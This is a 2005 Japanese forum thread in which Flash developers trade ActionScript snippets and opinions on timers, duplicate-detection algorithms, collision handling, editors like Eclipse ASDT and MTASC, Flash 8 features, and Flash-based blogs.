>>658 cgi gifでぐぐって味噌
flash使うなら、座標だけcgiにおくって、
swfでデータ受け取って再生しても良い気もする
調べたけれども いい情報みつからなかったです。 もしご存知なら そのサイトを教えていただきたいです。
あぁ 画像生成とかで調べたらでてきました。 GDとかいうのがそれっぽいですね。
Flash Lite の質問なんですが、 Flash5以降でMath.floor()みたいに小数点以下切り捨てって Flash4のスクリプトで可能でしょうか? そもそもFlash4ってASですらなかった気もするのですが、そこをなんとか!
int
664 :
662 :05/02/22 23:52:21 ID:FQ/LtOjK
ありがとうございます
>>663 あまやかすなよ。また勘違いしたクレクレがくるぞ
ここなんかできてからずっと甘やかしてるじゃんか。 クレクレが集まったら無視し始めればいいんだろ。 変な自治するなよ。
まあまあ。 こういうことはピリピリしないで大きく構えようや
切捨て int(a) 切上げ int(a+1) 四捨五入 int(a+0.5)
また懐かしいネタを。
何か用?
( ´∀`)つ ミ函館人
( ´∀`)つ ミ文豪
>>673 おもしろいね。
キモはXMLHttpRequestだと思うんだけどこれってActiveXでIE依存だよね。
Macの人とかつかえるのかなあ?
FlashのUIにはなじめなかったIT系本格派プログラマが Ajaxによってインタラクティブなサイトの構築が可能になってくる。 今後どうなるFlash業界! という動きになっているのですかね?
Flashに依存しなくてもそこそこのモノは作れるということかなぁ。 XMLHttpRequest使ってる以上脱ActiveXにはなっていないけど。
678 :
初期不良 :05/03/02 18:55:43 ID:LnZUXEjw
JavaScript 系の言語はもう何とかして欲しいですわ。 大規模なプログラム開発には無理がある。 Ajax はどうしようもないかも知れないけど ActionScript はさらなる言語仕様刷新カモーン
もともと大規模なもの作るための言語じゃないしなあ。
Math.random()で発生する回りこみ誤差が結構きついのね・・・>Flash onEnterframeだから誤差の乗数が凄い事になるんだろうけど、 視覚効果を持たせる為のスクリプト使うのに少しきつくなってきた。 ちらしの裏でした。
>>641 System.security.allowDomain(domain)
をかまして、フルパスで記述した外部テキスト指定したら読み込めて、
クッションにするswfファイルは不要な気がしたのですが
備忘録としてカキコ
Aちゃんと言う特殊な状況を再現するのがポインツ
683 :
641 :05/03/08 04:40:24 ID:HHxfmuDL
>>681 おお、とりあえずメモメモ...
もう実際に使っちゃってるから申請して変えてもらうの('A`)マンドクセ
バージョンうpすることがあったらにさりげなく変えようかな。
ついでに修正。書いてちょっとして気づいたけど、つい放置してしまった。
×ローダーと外部swfが同一ドメイン内なのに
○ローダーと外部テキストが同一ドメイン内なのに
×System.security.allowDomain(domain)で外部ムービーを許可し、
○System.security.allowDomain(domain)でローダー自身を許可し、
ちなみにここで使ってる
http://hobby7.2ch.net/bike/
684 :
阿部高和 :05/03/09 10:30:26 ID:L6mC1l1f
ところで、俺のスクリプトを見てくれ this.onEnterFrame = function() { var a = new Date(); var sec = a.getSeconds(); if (sec != sec2) { trace(sec2); } sec2 = a.getSeconds(); } こいつをどう思う?
おしいね
一秒毎にtrace(sec2);を実行するんだね。 よく考えた。パチパチパチ。
呆れた
あちゃー。 出直してきます。
本気だったの・・・?
超本気。 むしろ、なんで呆れられたのか知りたいくらい。
getSeconds()使ってるってことは正確に秒をtraceしたいんだよね? 一秒間ならfpsで割り出せるわけだし。でもこれ正確じゃないよね? あと、一回目がundefinedになってるし
いや、他に色々やり方はあるし EnterFrame内部に秒数表示も正確じゃないのと 何よりそんなのは自慢するほどでもないから呆れられたのかと・・・ 他にやるなら例えば i = 0; function hoge() { trace(i++); } setInterval(hoge, 1000); とか
えっと。 1発目がundなのはloadイベントで sec2 取得するとかで終了ですわな。 正確に1秒を弾き出すのが目的とかじゃなくて>< 内部時計と連動させて、かつ任意のタイミングで関数実行出来るコードって意味で組んだのです。 呆れられた理由ってのが、そんな回りくどい方法取らなくてもOKって意味だと思って。
setIntervalを知らなかっただけ?
>>693 ずばり呆れられた理由は
そんなのカップラーメン作るより簡単にできることを
わざわざ自慢しに来たからさ。
setinterval使えばいいじゃーん。 初期取得した時間を変数に放り込んで参照すればいいじゃーん。 はぁ・・・。
ポイ ( ´∀`)つ ミ函館人
ここにトリップ置いておくよ #(・ω・)ノ
test
はなくそ
どうせなら、独自関数を書いたりして欲しいね 一行で且つ正確に実行出来るメソッドをなんでわざわざマワリクドイやり方せにゃならんのよ でも、なんだか新鮮な気持ちには、戻れたね
がんばって実装した関数が、実は既に用意されていた時のあの気持ちを思い出させてくれた。
流れ読まずに判官贔屓カキコ。 swfを起動した時にPCの時計とシンクロさせてるのがミソなコードだと見えるが。 getMilliSeconds()使わずに、それに近い処理が出来る。 何気に、PC時計の0.00秒からsetInterval()で関数実行ってコードを考えると、スマートかも・・・と無理に解釈。
getTimer()でいいような。 どっちにしろ頑張ったのはわかるけどここに貼る様なものじゃない。
秒と_秒 どっちがスマート且つ正確且つ簡潔なコードか判断できんやつもいるんだな
getTimer()はグローバル関数 getSeconds()はDataオブジェクトの動的関数。 処理が違うよ。
Dataは別の変数まで用意しちゃうし 毎回newするわけだから getTimerの方が効率が良い気がするな。 まあそこまで気にするものでもないが。
普通にData、Data言ってっとぶっとばすよ
上のやつがDataとか言ってるからつられちまったな。 Dateだな。 で、どうよ? どっちのほうがスマートかつ簡潔なコードなわけで?
ダサいんだよオマエ
質問スレより 9個の変数に1〜9の整数が入っている。 これがダブっていないか判別する式で最も効率がいいもの
ダブってるかダブってないかだけでいいのん? どれがダブってるとかいらない?
a!=b&&a!=c&&a!=d&&a!=e&&a!=f&&a!=g&&a!=h&&a!=i&&b!=c&& b!=d&&b!=e&&b!=f&&b!=g&&b!=h&&b!=i&&c!=d&&c!=e&&c!=f&& c!=g&&c!=h&&c!=i&&d!=e&&d!=f&&d!=g&&d!=h&&d!=i&&e!=f&& e!=g&&e!=h&&e!=i&&f!=g&&f!=h&&f!=i&&g!=h&&g!=i&&h!=i ワロタw 俺配列の単純比較くらいしか思いつかんかったよ。
今度は逆の問題?
解答スレがチャット状態で質問の邪魔だったから誘導があったようだ
ソートのアルゴリズムつかうかなぁ
というか9個の変数って指定があったっけ? 9個の変数じゃ9個が全部バラバラじゃなきゃならんから1〜9で固定だろ。 全部足して45かどうかっていう比較でFAじゃねえの?
変数を配列におしこんで・・・ 1〜9だからできるやり方。数字が大きくなったらアウト。 エレガントじゃないなあ var test_1:Array = [1, 2, 3, 4, 5, 6, 7, 8, 9]; var test_2:Array = [1, 2, 3, 4, 4, 6, 7, 8, 9]; trace(unko(test_1)); trace(unko(test_2)); function unko(src_array:Array) { var temp_array:Array = new Array(); var retVal:Boolean = true; for (var i = 0; i<src_array.length; i++) { if (temp_array[src_array[i]] == undefined) { temp_array[src_array[i]] = src_array[i]; } else { retVal = false; break; } } return retVal; }
>>718 その書き方だけだと、5*9=45になってしまう。
どうやってバラバラの部分を監査するかが問題ってとこじゃね?
ああ、そうか 向こうのスレに同じこと書いてあったな俺駄目だ。 5だけじゃなくていろんな組み合わせで45できちまうな。
個人的にあのスレの>385、>388好きだなぁ。 変数の数、値の数が未知数だったらどうなるんだろ。 変数の数>値の数 なら速攻falseでいいんだけど 変数の数=<値の数 の場合比較する値を算出しなきゃいけなくなるから もっと効率のいい式が存在するんかな
>>711 速いかどうかは判りませんが、
a〜iを配列に入れてソート。
お隣さん同士を比べて、同じのがあればダブり
なければダブりなしって言うのはどうでしょう。
var Num_array:Array = [1, 2, 3, 4, 5, 6, 7, 8, 9];
Num_array.sort();
function NumChk(temp_array:Array) {
for (var i = 0; i<=temp_array.length-1; i++) {
if (temp_array[i] == temp_array[i+1]) { //お隣同士チェック
return "ダブり";
}
}
return "ダブりなし";
}
trace(NumChk(Num_array));
ふむふむ・・・ではワシは若干算数的な思考を考えながら寝てみるかのぉ。 どうせ処理速度が遅いのは分かってるが、ありきたりのコード考えるのもつまらんしの。 1*2*3*4*5*6*7*8*9 =1*2*3*(2*2)*5*(2*3)*7*(2*2*2)*(3*3) =2^7×3^4×5×7 1〜9のどれかである架空の変数hoge に2か3の因数分解を掛けてみて、剰余からその数字を割り出してみるのも楽しそうじゃな。 1〜9との条件下でしか使えないにしても、何かしらの確定方向の唯一解な方程式が見出せるやもしれぬな。 それを考えながら床につくとしようかの。 爺になると頭の回転がついていかないのじゃ、ふぉふぉふぉ。
>2か3の因数分解を掛けてみて、剰余からその数字を割り出してみる 詳しく
全部丸投げしようとする質問者を 技術交換でわけわかめにして撃退するも前ら萌え
全ての変数から8.9をひき、積を求める(単位元、元の整数倍が元に含まれるのを制限) ( 0.1 * -0.9 * -1.9 * -2.9 * -3.9 * -4.9 * -5.9 * -6.9 * -7.9 == 3047.775608241 ) だとか f(x) = ( x - a ) * ( x - b ) * ・・・ * ( x - i ) を微分して、 f(x)、f'(x)に1から9を代入し、同時0の判別とか。 ちょっと算数的にひねくれてみました。
SWFのフレームに var main:Main = new Main(this); stop(); と書いて、メインクラスの中で class Main { function Main(argThis:MovieClip) { argThis.attachMovie("MC_HAI", "H0", 0 ); argThis.H0.init(); } } という風にしています。 >argThis.H0.init(); この部分なのですが、"H0"を文字列で指定してやるには どうすればいいのでしょうか? 条件としては ・_root、_level0は使いたくない。 ・ActionScript2.0 以上です。
すみません、スレ間違えてました。 上の質問ですがスレちがいですね。 質問スレに出直してきます・・・。
>>731 そこのフォーラムで聞けばいいのでは?
少なくとも、このスレで聞くには、
非推奨の理由を、具体的に推論して挙げるくらいの勢いがあるべきではないかと。
>そこのフォーラムで聞けばいいのでは? それもそうですね。でも もし理由を知っていたら教えてください。 単純に便利なもんだと思って 結構EventDispather用いていたんだけれども、 そこのフォーラムに非推奨と書かれたのを見て もしかして技術者の中では常識ぽい事なのかなと思って聞いてみました。
だからさ 質問スレじゃないから。
わかんねーならだまってろや くだらんアルゴリズム問題には反応するのにねw
とりあえず牛乳と魚くっとけ
//暇な人は無駄な計算を省いてバグを修正してください h = 30;//とがった部分の角度 r = 10;//とがった部分の長さ h = (h-180)*Math.PI/180; l = new Array(); this.onMouseDown = function() { m = 1; bx = _root._xmouse; by = _root._ymouse; }; this.onMouseUp = function() { m = 0; ex = _root._xmouse; ey = _root._ymouse; l.push(new Array(bx, by, ex, ey, kx1, ky1, kx2, ky2)); };
739 :
738 :05/03/19 15:16:38 ID:xX1Gp62E
this.onEnterFrame = function() { _root.clear(); _root.lineStyle(2, 0xff0000, 50); if (m) { _root.moveTo(bx, by); _root.lineTo(_root._xmouse, _root._ymouse); k = Math.atan2(_root._ymouse-by, _root._xmouse-bx); kx1 = Math.cos(_root.k+h)*r+_root._xmouse; ky1 = Math.sin(_root.k+h)*r+_root._ymouse; kx2 = Math.cos(_root.k-h)*r+_root._xmouse; ky2 = Math.sin(_root.k-h)*r+_root._ymouse; _root.moveTo(kx1, ky1); _root.lineTo(_root._xmouse, _root._ymouse); _root.lineTo(kx2, ky2); } _root.lineStyle(2, 0x000000, 50); for (i=0; i<l.length; i++) { _root.moveTo(l[i][0], l[i][1]); _root.lineTo(l[i][2], l[i][3]); _root.moveTo(l[i][4], l[i][5]); _root.lineTo(l[i][2], l[i][3]); _root.lineTo(l[i][6], l[i][7]); } };
740 :
Now_loading...774KB :05/03/21 00:14:28 ID:pUqVJnx5
age
つーか、何で他人のソースを最適化しなきゃいけないんだ・・・。 そこに技術交換の要素は何も無い訳で。 そんな事より、ASnativeの対応一覧表とかって存在するのかな。
>>741 隠し命令を探し回ってた頃、flashcoders-wikiでリストアップしてるのを見かけたなぁ。
現在はMLだけになってるみたいなので、wikiのアーカイブを探せばいいかも。
744 :
Now_loading...774KB :FLASH暦9年,2005/04/05(火) 01:15:32 ID:OmekkPRS
8Ballの情報まだ〜?
八玉はデザイン側のバージョンアップという話だそうだ。 描画が早くなったり。 Macでもちゃんと動いてホスィ。
八玉って書くと、どっかのお祭りの道具みたいだ。 FlashってMacに冷たいよな、仕方ないけど。
MX→2004のリリース間隔が早すぎて、AS2.0をはじめ
まだ2004の新機能に移行していない俺としては
八玉はデザインだけのバージョンうpで歓迎。
もう少しユーザーが腰を据えて勉強する時間をクレクレ。
コンポーネントもjsflもスキーマもまだ国内じゃ全然情報が出揃っとらんぞ。
>>746 Fla板でしょっちゅうやってるイベントを祭りととらえると
祭りの道具でもあながち間違ってない希ガス。
でも3Dとフィルターは実装して欲しい。 あとsetterが値を返せるようにしてほしいところ。 そもそもユーザーが学ぶのを待てっておかしくね?
IDEのクソッぷりどうにかしてくれ
ことえりの方がウンコ。 3Dに関しては、MacromediaのStudioMXシリーズに組み込んで欲しいね。 ポーザーとか買収してくれないかな。Macromedia。
751 :
Now_loading...774KB :2005/04/09(土) 03:24:58 ID:+DWQCgHx
3DはDirectorとかぶるから実装されないだろうなぁ
だれかVodafoneの3G用のFlashの仕様知らんですか? 多キャリアでは動くのに、ボタン入力が反映されんとです。
FLASHとBlogは今年流行るとの声があるねぇ。 どっかの無料Blogサービスがやれば人気でそうだけど。 JU○EMの社長が最近FLASH、FLASHうるさいんでやるんでない? 自分で作ってみたんだけど、やっぱりマシンパフォーマンスが無いと閲覧が厳しい。 作り方に寄るんだろうけど、おれの技術じゃ精一杯。 (・∀・)だれかAJAX+Blogなんてどうだい。
フラッシュで機械的・数学的な動きを表現するのは凡人でも出来る。 だからこそ、ASを使って機械的では無い動きを表現させる事に魅力を感じるのですよ。
情報を得たいだけなのにフェードインとかくそ遅いのは勘弁してほしい
flash blogって書き込みたいときに いちいち.flaを編集するの? それとも外部ファイル?
FlashBlogは流行るとは思えないなあ。 Blogから情報を収集する側は次々と文章を読み進めたいわけで Blogに対する見易さ・読みやすさというものは必然的に求められていると思う。 見難いBlog等本末転倒。 マウスのホイールボタン対応になっていないスクロールバー設置しいている時点で 見る気なくなるよ。 Flash-JPで挙がってたFlashで作られたBlogサイトなんて見難いの一言。 次の文章を読むには、次へのボタンを探さねばならず といった 見る側に負担をかけるというワンステップを置いてしまっている。 30k2は普通のBlogに沿ったシンプルなレイアウトになっていて見やすいけれども 逆にあんまりFlash使っている意味ないと感じる。
>>761 たし蟹。自己満足の世界だな。
でも、ホイールボタン対応のスクロールバーは設置できるよ。
flashだからできる、表示方法を開拓すれば、良いのだが。 トラックバックからトラックバックへのポップアップとか、 選択範囲とるだけでできる自動化された引用とか。
CMSのインターフェースと考えれば結構使える。
見た目が派手になるから、小中学生に大人気に。
と言うのを想像してる。
>>763 の言うとおり、FLASHを使うことの意味を見いだせないと長続きはしないだろうね。
まぁblogに限った事ではないんだけど。
Flashは基本的にインターフェイスであってシステムじゃないから システム面に新規性を求めても駄目だと思う。 そうなると例えば書き込み欄にお絵かき機能をつけるとか、それを送受信できるとか トラックバックがグラフ表現(くもの巣みたいに繋がっているのが表現される)とか。 あとは子ウサギ系のオマケ機能的なものか。あれも本質は表現部分じゃないんだが。
トラックバックの視覚化は面白そうだけどほとんどの人が 元の記事にトラックバックするからあんまり繋がらない悪寒
>TB視覚化 それ結構面白そうじゃない? マナベBLOGとか凄いことになりそうにだけど。。。
>TB視覚化 TB先Blogの考え方の座標(右翼とか左翼とか) のジャンル分け の注目度で色分け あとは見る人自身でレイアウトを変えられるとか? カレンダーなどいらないものを捨てたりドラッグで移動させたり。 むかつく内容だったら大砲で文章を壊せる。 見た人が強調したい部分をマーキングできる(設定によって他の人もわかる)
大砲はどうかと思うが、見る側で変えられるのはいいかもしれないな。
>座標 「この記事はバカパクの2,4と・・・。」
なんかここが寂れてるのも悲しいから適当にに話題でも振ってみる。
暇な人でも乗ってくれると嬉しい
・ASを書くツールなんだがこれといっていいのが無い。
昔出た話題だが最近なんか機能増えたのあったかな?
・ゲームを作るにおいて毎回悩まされるのが当たり判定、というか当たった後の処理。
Flashの特性上フレーム間隔が開くものだからいわゆるめり込みやすり抜けの回避がめんどくさい
みんな普通どうやってる?
・最近FlashをHTMLにかぶせるという手法をよく目にする。
一例としてちゃんねるぼっくすのトランプページだが、
ttp://flash.chbox.jp/cards/ 右下のCMからAKIRAのCMを起動すると体験できる。これが結構面白いと思ったり。
振りっぱなしはいけないので自分でコメントを書く。 ・ASツール 自分はすでにPeggyを使ってたのでこれ。ただしかなり不満。 外国産のは使いたいんだが日本語に不具合があるのが致命傷 ・当たり判定 考えられるのはそのブロックの範囲からキャラの移動を制限してやるってとこだが その範囲が、決まった形のブロックなら分かりやすいがベクターデータだと算出が難しい。 そうなるとヒットの判定があったときに、1度戻してから1ピクセルずつ刻んで ぶつかる直前まで移動するという原始的な方法しか思いつかない。 ・かぶせる手法 結構実験したんだがIEだと問題なし FireFoxだと微妙にスクロールが一瞬ずれる程度 Operaは透過に対応してないらしく、下のHTMLが見えなくなる。 Safariは表示がチカチカして変になる。
技術系のスレはチェックはされているけど、 ネタがないと話し出さないだけじゃないかと。 ・ASエディタ TeraPadかSakuraエディタ。 拘っていないので、本家よりマシならなんでもいい状態。 ・あたり判定 xyの配列で、16pxづつ大まかな形を決めて、0何もなし、1完全に壁。 斜めの形には、それぞれ番号を振り分ける。10だと右45度の斜面とか。 まあ、あんまり広い画面使うと画像それだけで処理落ちるし、 flashに向いてない気がするので、そういう工夫しなくても一画面で作れる flashらしさを大切にするってことで逃げている。 あと食い込むのは、個々に動かしたりしているのが原因じゃないかな。 一括して判定してから動かすと、良いかと。 ・かぶせ ブラウザ依存は面倒くさいので、使ってない。 仕事でどうしてもwebサイトのデザインで必要だと言われたら web自体をFlash化して逃げる。
775 :
初期不良 :2005/04/16(土) 04:25:01 ID:4yoGLaQA
eclipseは個人的に「よくわからん」から使わないって感じ。 食わず嫌いなのはわかるけど導入がよくわからん。
eclipse入れてみた。 自動更新したら日本語じゃなくなった ウインドウ消した。
asdtは仕事でも使ってる。0.0.7になってからすごく良くなった。
おいおい、Adobeに買収されちまったぞ
八玉はどうなるんでしょう???
合併までは開発を続けるらしいよ。
いや、合併後も続けてよw
eclipseわけわかんねぇ・・・ どうやってもASプロジェクトが作れないし。 ヘルプも意味わかんないや。 1人でやるんだからプロジェクトなんていらないからファイルを普通に開いて欲しいよ・・・
785 :
初期不良 :2005/04/19(火) 12:50:40 ID:43Vw4IZF
>>784 別に一人でもプロジェクトは必要だろ。
クラス作って参照できるようにしたりするんだし、それらのまとまりってだけなんだから。
でも変なエラー出してプロジェクト作れんのです。
787 :
初期不良 :2005/04/19(火) 13:10:50 ID:43Vw4IZF
送ってもた... プロジェクト作れないのはエラーメッセージ出てるだろ。 core class のパスを設定してくれって。 メニューの Window > Preferences > ActionScript2 > Paths で C:\documents and settings\{your name}\Locale Settings\Application Data\Macromedia\Flash MX 2004\ja\Configuration\Classes を設定すればOK as ファイルは New > File で拡張子を as にすれば OK まだ 0.7 になってからほとんど使ってないので報告きぼんぬ
できた、死ねる。 core class のパスを設定してくれって言われても 初めてeclips使う身としてはなんのことやらだった・・・。 多分Java→ASの人にはいいんだろうな。 とりあえずなんか弄ってみる。お勧めの機能とかある?
EclipsなどはJAVA環境の人間がまれに合理を求めすぎて 極めて排他的になるよい例だと思われ。 ASだけやる人間にはお薦めできない。
そんな・・・orz
XP MX2004 Proです。 文字列で取得した数式の計算結果を得るにはどうすればよいのでしょうか? function Cal(siki_str:String){ 何か処理; } trace( Cal("12+18") ); //ここで 30 と言う結果を得たいのです。 自分で + や - など ごとに分割して数値型にして計算する方法以外に なにかいい方法はないでしょうか?
793 :
初期不良 :2005/04/22(金) 04:06:49 ID:IlDGsA5P
そういうのはいわゆるインタープリター型言語じゃないとできない話なんじゃなかったっけか?
>>792 文字列で取得する目的は何?
文章中に計算式が出てくるとかかな。
複雑じゃなかったら、必要な情報だけを配列に放り込むとか、方法はありそうだが。
もしくは定義しておいた演算子と数字以外を除去するとかね。
function Cal(siki_str:String):Number{ trace(siki_str) var ans:Number = 0 var a:Number var tasu_ary:Array = siki_str.split("+"); trace(tasu_ary.length) for(var t in tasu_ary){ hiku_ary = tasu_ary[t].split("-"); a = parseInt(hiku_ary.shift().toString()); if(!isNaN(a)){ ans += a } for(var h in hiku_ary){ var kakeru_ary:Array = hiku_ary[h].split("*"); a = parseInt(kakeru_ary.shift().toString()); trace(a) if(!isNaN(a)){ ans -= a } } } return ans; } trace(Cal("1+1-9"));
796 :
792 :2005/04/22(金) 20:56:31 ID:c1xSsozs
>>793 ,
>>794 ,
>>795 返事遅れました。ありがとうございます。
文字列で取得したかったのは、外部読み込みファイルで取得した
計算式を計算したかったからです。
メモ: 携帯で再生するFlashは機種によって1フレーム目が2回再生されることがある。 条件はインタラクティブ再生時のみなので待ち受けに影響は無し。 ランダムで表示を行う待ち受けをテスト再生するときに引っかかりやすいので注意。
799 :
初期不良 :2005/04/26(火) 05:23:30 ID:onkWrqGe
C:\Documents and Settings\{username}\Local Settings\Application Data\Macromedia\Flash MX 2004\ja\Configuration\Classes\aso に aso ファイルがたくさんあるよね。 これって as ファイルがコンパイルされた中間ファイルなのかなと思ってたが。 Java の class ファイルと同じような感じで。違うのかな?
800 :
800 :2005/04/26(火) 12:05:37 ID:htnkvatX
>>799 コンパイルっていっても、単なるバイトコードでしょ
>>799 形式はどうであれ扱い的にはそんな感じだろうね。
>797 頭の片隅にいれておくよ。ありがとう。 よければ、どの機種で二回再生されることがあるのか教えてくれるとうれしい。
Flash4や5の頃は、フレーム1は不安定なので 何も書かないのが普通だったのだが。
>803 聞いたことあるけれども「不安定」って何さ。曖昧な情報だな。
>805 1フレ目が不安定なのは仕様です。 これは1フレ目に何も書かないことで回避可能です。 マックロメディアのFAQより抜粋。
>>804 オープンソースのFlexみたいなもん?
暇だからなかなか香ばしいFla4manについてでも語ろうか
812 :
Now_loading...774KB :2005/05/31(火) 03:20:10 ID:u0ARcfDR
Fla4manてxooxの琴か。
xooxって誰よ? 確かに香ばしいな(´д`)他人のオナニー見てる気分になってくる
抜群のクオリティとセンスだな。 日常会話でも人の話を汲み取れない感じの年配SEとプロファイリングしつつ おやすみなさい
MXのAS1.0からMX2004のAS2.0に移行して間もない素人です。
ところでASのXMLって扱いにくくないですか?
DOMLevel2相当を実装しているなら良いのですが、ASのXMLクラスがサポートしているのはDOMLevel1だとか。
ノードにアクセスするのに .firstChild.firstChild.... と書いていたのでは、めんどくさいし後からソース見たときに
「これってどのノードにアクセスしてるんだ?」となって訳分からなくなります。
せめて getElementsByTagName が使えればなあ・・・と常々思っています。
もしくは、PHP5に標準装備されているSimpleXMLのようなものがASでできれば・・・。
そんなXMLを扱いやすくするおすすめのライブラリをご存知でしたら教えてくださいまし。
私が見つけたのでは↓のようなものが良い感じでした。
【XPathでノードを取得】
http://www.xfactorstudio.com/Actionscript/AS2/XPath/ 【わりとSimpleXMLに近いことができそう】
http://proto.layer51.com/d.aspx?f=957
>>816 Proならmx.xpath.XPathAPIつかえば?
次からE4X実装だと。
>>818 ほう。あとは正規表現を付けてくれれば。
たしか正規表現は実装するんじゃ。
連想配列ほしい。
FPS変えれるようにしてくれ
まず3Dを
jpegの表示バグ直して
イベント増やしてほしいなー。
Mac でも onMouseWheel を使えるように
_xmouseと_ymouseに代入できるように
力技じゃなくてIME制御が欲しい。
>>828 うはwwwそれウザスwwwwwww
久々に話のネタ振りなぞ。
ウチの掲示板のソースを改造して
スキン対応型掲示板のFlashスキンを作ってくれた人がきますた。
http://otd13.jbbs.livedoor.jp/330636/bbs_tree (ベータ版)
書き込みの親子関係を踏襲した上で
見た目をTree,Plain,Thread形式にそれぞれ変更できる上に、
将来的には後ろ側(Perl,PHP)はいじくらずに済むそうです。
ここまでしっかり作りこんだオールFlashの掲示板って
初めて見たもんで、ちょっと驚き。
俺もFlashBlog作成がんがろっと。
「ActionScriptとは?」のキーワードで2時間ほど調たが、未だに不明なことが…… ActionScriptが素晴らしい機能を持ったJavaScriptに似たFLASH用のプログラム言語であることは判明したが、いざActionScriptが使える環境の話になると、抽象的だったり語らなかったりで、わけがわからん。 そのわりには、「Flahs MX」や「FLASH 5(SWF?)」というツールを使っていることを前提としているような講座だったり説明がほとんど。 まあ、結局聞きたいことは、 ・ActionScriptはFLASHツール内部でのみ利用可能なのか? ・それともブラウザがJavaScriptを稼動させるが如く、ActionScriptもそのまま稼動することができるのか? ・通常のプログラム言語同様にコンパイラ的なもので変換は可能か? です。
・Yes ・No ・Flashがコンパイルを兼ねる。 環境についての言及がないのは、ActionScriptがプログラムではなくスクリプトで Flashツールでの製作、コンパイル、FlashPlayer(ブラウザにプラグインとして入る)の再生と Flashのみで完結しているから。 その質問は非常に珍しいけどなかなか興味深いことを聞かせてもらった。 今度講座を作る時の参考にさせてもらう。
834 :
831 :2005/06/24(金) 23:29:17 ID:ZvOzcqfm
あ、ごめん。
>>831 の
> [Flashインスコフォルダ]\First Run\Componentsに置けばすぐ使えます)
これだめだ。ここだけだとインスコはできるけどアンインスコができないw
(Flash触ってもう4年近く経過するにも関わらずまだ『おしフラ』から
教わることがあるとは思わなかった。ちなみにP150)
ってなワケで置き外しは
C:\Documents and Settings\<マシンのユーザ名>\Application Data\Macromedia\Flash MX\Configuration\Components
こっちでよろしくです。
しかしこれ多数コンポーネントを置いてる場合、Flash立ち上げた時に表示さえれる
trace文がテラウザスwwwww さすがにこれは近日中に直します(汗
835 :
Now_loading...774KB :2005/06/27(月) 08:49:33 ID:7IC8u+NZ
実行速度追求についてなのですが、 staticにしたパッケージクラスから呼び出すメソッドと インスタンスに実装したメソッドでは処理速度に差があると (JAVA上では)聞いたことがあるのですが、これはFlashの AS2.0においても当てはまりますか?
ASは下位互換を保つためにAS2.0で作っても結局は AS1.0に書き換えられてswf内に格納される。 単なる開発手続き上の違いであって、 出来あがるものは同じ。なので実行速度も同じ。
>>833 コンパイルを経ないのがスクリプトであって、ASも例に違わず。
swfに格納されるときに少しは中間言語っぽくもなるけど、
基本的にはインタプリタ。
なのでFlashにおいてコンパイルの概念は、
そもそも存在せず、一部正しくないやも。
>>836 そうですか。
じゃあ、あんまり神経質に考えることもないです。
どうもでした。
↑訂正・・・ ×〜ないです。 ○〜なかったですね。
ASではないけれど、関連として質問させてください…
JAVAのサーブレットから変数を読み込み、getURLで
変数の値に応じた画面にリンクすることを目標としたメニューFLASHを作っています。
とりあえず、動作テストとして 「変数1=11&変数2=22」 と書いたtxtを読み込み、
getURL("
http://server/servlet?変数1= " + 変数1の値 + "&変数2=" + 変数2の値","_blank")
の記述で 「
http://server/servlet?変数1=11&変数2=22 」 を新規に立ち上げることはできました。
たぶんこの要領でサーブレットから変数読み込み→ジャンプは可能だと判断したのですが、
肝心のサーブレットの処理がよくわかりません。
色々本も見てみたのですが、自分はJAVA未経験のためよくわからず、
プログラミング板でそれらしいスレッドを探してみたんですが、どうも違うスレばかりで…
サーブレット⇔FLASHの経験ある方、すみませんがご教授下さい。よろしくお願いします。
841 :
840 :2005/07/07(木) 22:23:29 ID:C837gxVM
すみません、書き連ねるだけ書き連ねておいて、あっさりできましたorz サーブレットから直接読み込まず、Javascriptで変数を渡す事で落ち着きました。 スレ汚してスマソ
あ、それでよかったのか。 javascriptからならわかるんだけど・・・と迷ってたんだが。
843 :
840 :2005/07/08(金) 08:08:36 ID:C0MLIQAH
>842 的を得ない質問だったのにありがとう。 ふとソースを見たら(何の処理でかはわからないけど) JavaScriptで変数書き出されてたから、それを流用することにした次第です。 また詰まったら泣き付きにきます ノシ
的は射る物なのだよ明智君
F-siteで誰だか知らん女がつまらん記事を書きまくっているのだが 関係者見ているなら、自分のブログで書けやと言ってやってくれ。
書籍化決定
848 :
847 :2005/07/12(火) 20:21:04 ID:UnLFdari
うーん、やっぱりそこまで軽くないかも
8ように最適化されたswfがあるとか?
hee
852 :
Now_loading...774KB :2005/07/22(金) 18:23:40 ID:NFXtwYMQ
.┌━┐ ┌━┐ ┃┌╋──╋┐┃ └╋┘ └╋┘ ┃ ・ ・ ┃ ┌━━┐ ●━╋┐ ┌╂━━━━╂┐ ┃ └━┷┴━━╂┘ └╋━┘ 同じスレにはコピペ ┌╋┐ ┌╋┐ できるけど、違う ┃└╋╋━━╋╋┘┃ スレにはコピペでき ┃ ┃┃ ┃┃ ┃ ない不思議コピペ ┃ ┃┃ ┃┃ ┃ └━┘┘ └└━┘
.┌━┐ ┌━┐ ┃┌╋──╋┐┃ └╋┘ └╋┘ ┃ ・ ・ ┃ ┌━━┐ ●━╋┐ ┌╂━━━━╂┐ ┃ └━┷┴━━╂┘ └╋━┘ 同じスレにはコピペ ┌╋┐ ┌╋┐ できるけど、違う ┃└╋╋━━╋╋┘┃ スレにはコピペでき ┃ ┃┃ ┃┃ ┃ ない不思議コピペ ┃ ┃┃ ┃┃ ┃ └━┘┘ └└━┘ ?
MTASC(Motion-Twin ActionScript 2 Compiler)
ttp://www.mtasc.org/ コマンドラインActionScript 2.0コンパイラ
とりあえずHelloWorldまでやった。
FLASHなくてもSWFつくれる
8入れたんだけど?また7に戻ったぞ? 仕様すかね?
856 :
792 :2005/08/03(水) 00:46:11 ID:diX9MW8T
8ball無事に入りましたが衝撃だなあ。 画像は全部外部から読み込ませて画像加工はデザイナーに。 手離れよくてFLASHってメチャ楽だったんだけどなあ。 今後はすべてスクリプターがやるのか。 デザイナーも兼ねなきゃならんと思うとちょっと気が重いな。
作業の分離はかわんねーだろ
>>858 画像のコラージュもスクリプトでやるんじゃね?
画像処理ソフトでの作業は輪郭抽出ぐらいとか
8の新機能、ASノーマルモード復活てw
フレームにAS書く時一番上に //MovieClip this; って書いたら this. を書いたときにコードヒントがでるって知ってた? 俺は今の今までしらんかったよ。
バグ報告はスレ違いですよ
864 :
Now_loading...774KB :2005/08/13(土) 23:55:52 ID:OXCnRtK0
他にも接尾辞に_mcを使うとか色々あるけどね
しかし、本家flashエディタは補完機能が最悪だと思うわ。
でも自動フォーマットだけはいいわ。
AS|PYが2バイトまともに扱えるようになればなあ・・・ 一応使えるけど微妙だし。
しまったSE|PYって書こうとして間違った・・・
SciTEFlashはどうよ
